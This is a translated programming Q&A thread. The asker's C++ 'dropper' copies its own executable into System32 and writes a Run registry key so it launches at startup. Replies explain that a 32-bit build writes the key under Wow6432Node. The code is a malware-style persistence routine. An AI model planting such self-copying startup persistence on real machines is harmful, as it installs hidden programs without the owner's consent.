0
我嘗試在啓動時創建文件刪除器並啓動,但它啓動正確,但是當我使用regedit導航到所述的鍵時,我看不到它?這是怎麼回事?所有錯誤代碼返回0 .....即使GetLastError全部返回,我仍然看不到註冊表項0
#include <iostream>
#include <windows.h>
#include <Shlwapi.h>
using namespace std;
string RegistryKeyName = "testdropper.exe";
int main()
{
std::string filename ="\\";
char system[MAX_PATH];
char pathtofile[MAX_PATH];
memset(system, 0, MAX_PATH);
memset(pathtofile, 0, MAX_PATH);
//GET MODULE HANDLE OF CALLING PROGRAM I.E SERVER.EXE'S HANDLE
HMODULE GetModH = GetModuleHandle(NULL);
cout << GetLastError();
//GET PATH OF exe
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
filename.append(PathFindFileNameA(pathtofile));
//GET SYSTEM DIRECTORY LIKE SYSTEM32
GetSystemDirectory(system,sizeof(system));
//APPEND MY FILENAME AFTER THE SYSTEMDIRECTORY
strcat(system, filename.c_str());
//COPY SERVER TO THE SYSTEM32 FOLDER
CopyFile(pathtofile,system,false);
//MAKE A REGISTRY KEY TO THE SYSTEM32FOLDER WITH SERVER.EXE TO RUN AT STARTUP
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey, RegistryKeyName.c_str(),0,REG_SZ,(const BYTE*)system,sizeof(system));
RegCloseKey(hKey);
return 0;
}
我看不到在您發佈的源代碼返回任何檢查 - 這是什麼,你居然跑? –
您檢查了HKEY_LOCAL_MACHINE \ SOFTWARE \ Wow6432Node \ Microsoft \ Windows \ CurrentVersion \ Run嗎?它可能是一個在x64上運行的32b應用程序? – loic
是它在wow64中。我發表了評論,但它被刪除/沒有出現。 – Kelvin